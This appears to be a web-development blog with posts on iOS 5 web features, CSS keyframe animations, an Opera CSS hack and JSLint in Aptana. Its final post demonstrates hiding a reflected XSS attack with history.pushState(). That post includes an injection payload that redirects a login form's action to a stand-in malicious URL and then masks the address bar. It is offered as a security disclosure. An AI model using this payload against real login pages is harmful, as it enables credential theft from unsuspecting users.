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iOS 5 and New Features for Web Developers

October 13th, 2011

iOS 5 and New Features for Web Developers

The final version of iOS 5 has been finally released and there’s lots of buzz going around it’s new features. Most of the discussion focuses on the operating system itself which is totally understandable. There are lots of improvements and nifty little features to play with.

But one thing that seems not to get such attention is what iOS 5 brings to us, web developers, and how it improves the experience with web applications.

In this article I’ll go through most of the major features that are included in iOS 5 for web developer point-of-view.

Table of Contents

-webkit-overflow-scrolling

This is probably most anticipated feature for web applications. Until today it hasn’t been easily possible to add scrollable content in web document.

Briefly, all you need to define is:

elem {
 overflow:scroll;
 -webkit-overflow-scrolling:touch;
}

To achieve proper scrolling support for iOS 4 and/or other devices, I strongly suggest using iScroll 4.

And if you want to display scrollbars all the time, read this post: Force Lion’s scrollbar back. It will help you on displaying the scrollbar while user is not accessing the scrollable area, which is a very good visual guidance for user that content can be scrolled. But be warned: “custom” scrollbar won’t update it’s location while user is scrolling and meantime there are two scrollbars displayed.

position:fixed

Position:fixed is well-known CSS property that hasn’t earlier been included in iOS. But now it’s there, ready to use.

I noticed that setting a fixed element it has partial transparency by default. You even can’t turn it off by setting opacity to 1.0. If you happen to know how to solve this, please comment on my blog.

New Input Types

iOS5 provides several new input types that didn’t exist earlier on iOS4. These input types are: date, time, datetime, month and range.

I have to mention that the user experience with range is awful – with your (fat) finger you end up selecting the whole control instead of value slider all the time.

Note: input type=”file” isn’t still working. “Choose File” button is displayed, but at the same time it’s disabled.

WOFF Font Support

iOS 5 supports WOFF (Web Open Font Format) fonts. This is good news in a way. I haven’t personally tested whether there’s any benefit compared to SVG or TTF from a rendering or performance point-of-view.

Web Workers

Web Workers API is a bit less familiar for many developers. They allow to run long-running scripts without halting the user interface and they’re not interrupted by other actions.

The problem with Web Workers on iOS 5 is – as you may guess – the perfomance. You can try Web Workers with Javascript Web Workers Test. But I have to mention that while it took only about five seconds with my workstation, the same execution time with my iPhone 4 was 106 seconds. So as you can see, there’s a huge difference on performance.

contentEditable

iOS 5 supports contentEditable attribute, which allows rich text editing (RTE) of content. This is very welcomed feature offering the possibility of building WYSIWYG editors that can be used eg. with iPad.

Read more about this feature at: WYSIWYG Editing (contentEditable support) in iOS 5.

classList API

ClassList API is very useful while writing native JavaScript. It has few simple functions (like add(), remove(), toggle()) that are meant for handling classNames in an element.

If you want to implement classList API and ensure backwards compatibility, use classList.js polyfill, written by Eli Grey.

matchMedia()

Function matchMedia() is relatively new function for detecting media queries with JavaScript. The implementation is very simple:

if (matchMedia("(min-width: 1024px)").matches) {
    alert('your screen is at least 1024px wide');
}
else {
    alert('your screen is less than 1024px wide');
}

Can’t say how useful that is yet, since I’ve personally never used it before. But we’re living the times of Responsive Web Design and there may be conditions where this may be needed.

For browsers that doesn’t support matchMedia(), there is a matchMedia.js polyfill available, written by Paul Irish.

And if you’re more interested in similar logic, I suggest reading about yepnope.js.

Changes in Gestures Events

Gestures events (gesturestart, gesturechange, gestureend) now returns pageX and pageY values for events – in addition to scale and rotate values. These values didn’t exist in iOS4, forcing developer to retrieve X/Y-coordinates with corresponding touch events.

Compass

iOS 5 comes also with two neat properties: webkitCompassHeading and webkitCompassAccuracy. You can read more about them and test them at: Taking a new device API for a spin.

WebGL

Well… WebGL is kind of implemented in iOS5. But only for iAd.

However there are rumors promising good, and already it’s said that “things are in place” but they’re just not fully working (or have been disabled). So, let’s keep our fingers crossed that next (minor) update will include support for WebGL.

Anything Else?

Mark Hammonds has written a comprehensive article in mobiletuts+, titled iOS 5 for Web Devs: Safari Mobile Updates. That’s really worth of reading!

And if you’re interested in browser performance in general, then you should read iOS 5 Top 10 Browser Performance Changes.

If there are other things to mention, feel free to comment and bring your ideas up. I’ll keep on updating this post right after new information arises about iOS 5.

Having Fun With CSS Animations

May 25th, 2011

Having Fun With CSS3 Keyframes

More than two years ago CSS Animations were represented in WebKit. Up until now, they’ve been supported only in Safari and Chrome.

Recently I noticed, when upgrading to Android 3.1 that it dramatically enhanced the performance of CSS Animations and Transitions. And only few days ago, Firefox 5 Beta was released which has decent support for keyframes, and also better performance for transitions. Therefore I decided to write a brief article about CSS Animations and using keyframes.

In this article we will go through what it takes to create keyframe animations. I’ll create a simple demonstration of an icon character which comes alive with a little help of keyframes.

Foreword

This article won’t help with the basics and all the details of CSS Keyframes. If you’re unfamiliar with keyframes, I strongly suggest reading Smashing Magazine’s article “An Introduction To CSS3 Keyframe Animations”.

If you’re also unfamiliar with CSS Transitions, you can also read my article “CSS3 Transitions – Are We There Yet?”.

It’s good to notice that there already exists tools for creating proper CSS Animations, like Animatable that are worth of checking. Especially, if you’re not that much of a fan writing endless keyframes rules and css declarations

Browser Support

I’ve tested this example with recent builds of Google Chrome, Firefox 5 Beta, iPhone 4 / iPad and Android 3.1 with Browser (Chrome) and Firefox Beta. So, if you’re viewing this article with any of those, then you’re good to go.

There are indications that also Opera will support CSS Animations in near future. Let’s see when that will be. However, Internet Explorer won’t be supporting CSS Animations – they’re not even supporting CSS Transitions yet.

The Icon

In this example we’ll build an icon with separate head, body and background. We’ll add some movement with keyframes to each object while trying to achieve as realistic result as possible without too much of an effort.

The character icon in demonstration is from Battleheart, developed by Mika Mobile.

The Head

Wizard's head We start by defining the behavior of an animation for the head. This is done by defining a keyframes rule called “breathe-head”.

@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }

    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}

NOTE: I’m using property called translate3d for moving the head slightly backwards. It’s good to understand that only transformable properties (+ opacity) can be animated with hardware acceleration. Translate3d(0,0,0) is good to have to ensure hardware acceleration of animations even if it’s not needed for any other use. I’ve even encountered many situations where animation performance hasn’t been smooth eg. on iOS Web Applications until (over)usage of translate3d().

Twice the Fun!

For some (unknown) reason, it isn’t possible to add -moz-keyframes rule at the same declaration, so we need to declare keyframes rules again:

@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }

    100% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
}

I’m not using translate3d() since it seems Firefox only understands translate(). But it’s good enough for performance since it should be also hardware accelerated on Firefox.

The Body

Wizard's body Next, we’ll animate the body of the character. We don’t need any wildly bouncing animation since we’re operating with an (small) icon. Constant movement has to be subtle or otherwise it can start to irritate users:

@-webkit-keyframes breathe-body {
    0% {
        -webkit-transform: translate3d(0px,0px,0px);
    }

    40% {
        -webkit-transform: translate3d(0px,-3px,0px);
    }

    100% {
        -webkit-transform: translate3d(0px,0px,0px);
    }
}

And the same rules needs to be applied for -moz-keyframes like we did with the head.

The Background

Wizard's backgroundI wanted to add something more to a movement and decided to draw a subtle background “sun” which keeps rotating behind the character:

@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}

Rotating background is very straight-forwarded; we rotate it once per timeline we’ll define later on.

Keyframes are Done – What Next?

Now that we’ve defined keyframe rules, we must take them into use:

.character {
    -webkit-animation: breathe-body 3000ms infinite both ease-in-out;
    -moz-animation: breathe-body 3000ms infinite both ease-in-out;
}

.character .head {
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}

.rotating {
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}

I’m using short-hand declarations, and eg. for .character .head we declare: “Use breathe-head keyframe rules in a three seconds long loop which last infinite time and is animated with in-out easing equation”.

Value “both” stands for animation-fill-mode should define the status of first and last keyframe. But in my case I didn’t notice anything special when I trying other possible values “forwards” or “backwards” (this could be since both start and end keyframe has similar values).

The End Result

I needed to declare more CSS for getting things in correct place. But the example code above is practically the soul and heart of the animation. But here is the end result of an animated wizard icon:

 

 

How do you like it? It’s my first animation ever :).

How to Target CSS Only for Opera

April 5th, 2011

Opera

Sometimes there is need to write browser-specific CSS declarations. Although every developer should put their best effort on creating structure and layout that doesn’t require any proprietary hacks, one may encounter situations where it’s impossible to proceed by the book.

My case was about font-size and letter-spacing on Opera (11.10). Opera was displaying selected font way too big to fit in allowed space and I needed a hack to fix this issue.

Opera 9 and below

This is pretty straight forward and well known hack:

html:first-child p
{
    font-size:12px;
}

The real issue, in my case, was how to target newer and modern Opera versions 10 and 11.

Opera 10 and above

The answer is in media queries. Earlier this was obvious hack while no other browsers supported media-queries properly. However, nowadays more and more browsers support it and therefore we need to tweak the conditions a little:

@media not all and (-webkit-min-device-pixel-ratio:0) {
    p {
        font-size:12px;
    }
}

I’ve validated this with Opera 10.5 and Opera 11. I also checked on Chrome 11, Chrome 12, Firefox 3.6, Firefox 4.0, Safari 5 and IE 8 that it doesn’t affect on them.

Edit: I haven’t tested this on Opera 9 or earlier, but according to other resources, this hack should work on those browsers too.

Conclusion

It’s still possible to write browser-specific hacks but it’s getting more and more complex all the time. In this case we’re using a hack that is actually targeted to WebKit browsers to get them excluded from the media query hack. However, there is no confidence that this hack would work on Opera 12 or next versions of Safari or Chrome would behave as expected.

And big thanks goes to an article CSS Hack or New CSS File for Problematic Browsers? and Is There Any Dedicated CSS Hacks For Safari or Opera?.

Author: Categories: Web Development Tags: , ,

How to Run JSLint in Aptana Studio 3

March 30th, 2011

JSLint is an extremely useful tool for front-end developers among other code validation. However, getting JSLint to work properly isn’t always as easy as it supposed to be. I ran into problems when I upgraded to Eclipse-based Aptana Studio from major version 2 to beta version 3. In addition, it was very hard to find any proper solutions for my problem.

Differences Between Aptana 3.x and 2.x

The first thing to note is that Aptana Studio 3 doesn’t have similar plugin-based view than Aptana 2. After certain time of unsuccessful googling I figured out that proper keyword isn’t “aptana”, it’s “eclipse”.

In order to install new plugins (or software), you have to do it via Help » Install New Software.

Installing JSLint

Unlike in Aptana Studio 2, version 3 doesn’t have JSLint located as a validator in Aptana’s JavaScript preferences (if I’m running false configuration or doing something really wrong, please comment :)). However, Rockstarapps is offering tools which also includes JSLint.

The problem I had with Rockstarapps was that it doesn’t look very trustworthy (blank site etc). But with little googling I found a resource for installing software at: http://update.rockstarapps.com/site.xml.

After you’ve added Rockstarapps resource to work with, you’ll see a list of tools on a window below, including JSLint. Go ahead and install these.

Using JSLint

After installation I was happy to start using JSLint. I searched for numerous places in order to configure and / or to run JSLint. This was frustrating and I already stopped searching since I still wasn’t feeling too confident about Rockstarapps.

On one day, I accidentially noticed that when I right-clicked on JavaScript file, context menu included an option “Rockstarapps” with sub-option “Validate with JSLint”. That was it – JSLint was finally there, ready for use :).

Conclusion

I’m a kind of person that can be considered as an eternal beginner (or even stupid :p) when configuring applications and tools. But I know there are many others on a very similar position with me (according to my earlier experience and the amount of Stackoverflow + other rant encountered while googling). So I definitely hope this post really helps someone struggling with same problems than I did.

External Resources

Author: Categories: Web Development Tags:

How to Conceal XSS Injection in HTML5

December 23rd, 2010

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.